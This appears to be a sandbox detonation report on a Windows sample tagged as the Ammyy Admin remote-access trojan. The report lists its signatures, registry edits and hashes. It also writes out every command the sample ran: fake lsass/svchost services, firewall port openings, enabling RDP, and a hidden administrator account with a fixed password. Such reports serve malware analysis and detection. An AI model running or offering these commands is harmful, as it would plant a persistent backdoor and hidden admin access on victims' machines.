\??\PIPE\samr

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/2212-34-0x0000000000400000-0x0000000000412000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-09-15 11:13

Reported

2024-09-15 11:16

Platform

win10v2004-20240802-en

Max time kernel

92s

Max time network

109s

Command Line

"C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe"

Signatures

Ammyy Admin

rat ammyyadmin

AmmyyAdmin payload

Description Indicator Process Target
N/A N/A N/A N/A

Grants admin privileges

Creates new service(s)

persistence execution

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A

Sets service image path in registry

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PlugAndPlay\ImagePath = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe -service -debug" C:\Windows\SysWOW64\REG.exe N/A

Stops running service(s)

evasion execution

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\termserv.exe N/A

Password Policy Discovery

discovery

Hide Artifacts: Hidden Users

defense_evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\Microsoft = "0" C:\Windows\SysWOW64\REG.exe N/A

Event Triggered Execution: Netsh Helper DLL

persistence privilege_escalation
Description Indicator Process Target
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh C:\Windows\SysWOW64\netsh.exe N/A

Permission Groups Discovery: Local Groups

discovery

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\termserv.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\REG.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\netsh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\sc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\net1.exe N/A

Runs net.exe

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\termserv.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\termserv.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2464 wrote to memory of 4568 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 4568 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 4568 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 5028 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 5028 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 5028 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 1472 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 1472 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 1472 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 4532 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 4532 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 4532 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 428 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 428 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 428 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 3564 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 3564 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 3564 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 1160 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2464 wrote to memory of 1160 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2464 wrote to memory of 1160 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2464 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 1044 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2464 wrote to memory of 1044 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2464 wrote to memory of 1044 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2464 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2464 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2464 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2464 wrote to memory of 1336 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2464 wrote to memory of 1336 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2464 wrote to memory of 1336 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\REG.exe
PID 2464 wrote to memory of 4292 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2464 wrote to memory of 4292 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2464 wrote to memory of 4292 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2464 wrote to memory of 444 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2464 wrote to memory of 444 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2464 wrote to memory of 444 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2464 wrote to memory of 3616 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2464 wrote to memory of 3616 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2464 wrote to memory of 3616 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2464 wrote to memory of 5084 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2464 wrote to memory of 5084 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2464 wrote to memory of 5084 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2464 wrote to memory of 3096 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2464 wrote to memory of 3096 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2464 wrote to memory of 3096 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2464 wrote to memory of 364 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2464 wrote to memory of 364 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2464 wrote to memory of 364 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\netsh.exe
PID 2464 wrote to memory of 3112 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Users\Admin\AppData\Roaming\termserv.exe
PID 2464 wrote to memory of 3112 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Users\Admin\AppData\Roaming\termserv.exe
PID 2464 wrote to memory of 3112 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Users\Admin\AppData\Roaming\termserv.exe
PID 2464 wrote to memory of 8 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 8 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 8 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 2612 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 2612 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 2612 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 3256 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 3256 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 3256 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\sc.exe
PID 2464 wrote to memory of 3128 N/A C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe C:\Windows\SysWOW64\net.exe

Processes

C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe"

C:\Windows\SysWOW64\sc.exe

sc stop "ProtocolWindows_ "

C:\Windows\SysWOW64\sc.exe

sc delete "ProtocolWindows_ "

C:\Windows\SysWOW64\sc.exe

sc stop "PlugAndPlay"

C:\Windows\SysWOW64\sc.exe

sc delete "PlugAndPlay"

C:\Windows\SysWOW64\sc.exe

sc create "ProtocolWindows_ " binpath= "C:\Users\Admin\AppData\Roaming\lsass.exe" displayname= "Protocol HTTP/SSL " type= own start= auto error= ignore

C:\Windows\SysWOW64\sc.exe

sc description "ProtocolWindows_ " "Ýòà ñëóæáa îáåñïå÷èâàåò áåçîïañíûé ïðîòîêîë ïåðåäà÷è äàííûõ ãèïåðòåêñòà (HTTPS) äëÿ ñëóæáû HTTP. Åñëè ýòà ñëóæáà îòêëþ÷åía, ëþáûå ñëóæáû, êîòîðûå ÿâíî çaâèñÿò îò íåå, íå ìîãóò áûòü çàïóùåíû. "

C:\Windows\SysWOW64\netsh.exe

netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\lsass.exe" ENABLE

C:\Windows\SysWOW64\sc.exe

sc create "PlugAndPlay" displayname= "PlugAndPlay " binpath= "C:\Users\Admin\AppData\Roaming\svchost.exe -service -debug" type= own start= auto error= ignore

C:\Windows\SysWOW64\REG.exe

REG ADD "HKLM\SYSTEM\CurrentControlSet\services\PlugAndPlay" /v ImagePath /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\svchost.exe -service -debug" /f

C:\Windows\SysWOW64\REG.exe

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_REGDWORD /d 3389 /f

C:\Windows\SysWOW64\REG.exe

REG ADD "HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN" /v iexplore.exe /t REG_REGDWORD /d 0 /f

C:\Windows\SysWOW64\netsh.exe

netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\svchost.exe" ENABLE

C:\Windows\SysWOW64\netsh.exe

netsh firewall add allowedprogram ctfmon.exe ENABLE

C:\Windows\SysWOW64\netsh.exe

netsh firewall add portopening protocol = TCP port = 3389 name = TCP

C:\Windows\SysWOW64\netsh.exe

netsh firewall add portopening protocol = TCP port = 8080 name = TCP

C:\Windows\SysWOW64\netsh.exe

netsh firewall add portopening protocol = TCP port = 31337 name = TCP

C:\Windows\SysWOW64\netsh.exe

netsh firewall add portopening protocol = TCP port = 80 name = TCP

C:\Users\Admin\AppData\Roaming\termserv.exe

C:\Users\Admin\AppData\Roaming\termserv.exe -silent

C:\Windows\SysWOW64\sc.exe

sc start mnmsrvc

C:\Windows\SysWOW64\sc.exe

sc Start TlntSvr

C:\Windows\SysWOW64\sc.exe

sc Start TermService

C:\Windows\SysWOW64\net.exe

net start FastUserSwitchingCompatibility

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start FastUserSwitchingCompatibility

C:\Windows\SysWOW64\net.exe

net start TermService

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start TermService

C:\Windows\SysWOW64\REG.exe

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

C:\Windows\SysWOW64\REG.exe

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

C:\Windows\SysWOW64\net.exe

net user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes

C:\Windows\SysWOW64\net.exe

net localgroup Microsoft /add

C:\Windows\SysWOW64\net.exe

net localgroup Àäìèíèñòðàòîðû Microsoft /add

C:\Windows\SysWOW64\net.exe

net localgroup Administrators Microsoft /add

C:\Windows\SysWOW64\net.exe

net accounts /maxpwage:unlimited

C:\Windows\SysWOW64\REG.exe

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Microsoft /t REG_DWORD /d 0 /f

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 localgroup Àäìèíèñòðàòîðû Microsoft /add

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 localgroup Administrators Microsoft /add

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 accounts /maxpwage:unlimited

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 localgroup Microsoft /add

Network

Country Destination Domain Proto
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 240.143.123.92.in-addr.arpa udp
US 8.8.8.8:53 140.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp

Files

memory/2464-0-0x0000000000400000-0x0000000000412000-memory.dmp

C:\Users\Admin\AppData\Roaming\lsass.exe

MD5 f5d70d9c0d3e969d05853d74ed873938
SHA1 229c8228f7f7a7a9bb392cfd2c3e2094fbe7c205
SHA256 dc583111b2f8ef01f752f18682934005d5bb0060233f0c50f8c88c91dc17a0c5
SHA512 968c9b8f317e5650ecfe28d730b3a4e6a810b1cc6d0a415d297c1229f327d4ff14bb3b66552e22823037a0243fb613a41c051323fd7ba4e9dc4cbf65813f24ca

C:\Users\Admin\AppData\Roaming\svchost.exe

MD5 ad6269fd2b94fa1ad58f4755c288eed2
SHA1 736be980a1170d6fbc63ee02bd7dde14fb860513
SHA256 18b723836baba860e45cb4cebd01dfecd71f318d88518baf2f0fa41b3bb8a704
SHA512 0ede581e7e6153612c63b8fce40f9e3bbd415f541800c9f57167f09f57fca657e59eff34db647b24bd7ef2eb8d3bb5a67244864cd2e49ec22b22ea692df1c3dc

C:\Users\Admin\AppData\Roaming\termserv.exe

MD5 382cebd78ad354b1dfd91dc8176615f6
SHA1 5c734f779cf23cee4d7260a0eee3ce1ed888f1c0
SHA256 067f0765790c0e75c3774f4c5890ddacb8b99ecd6f80743d68aad9d34de8b445
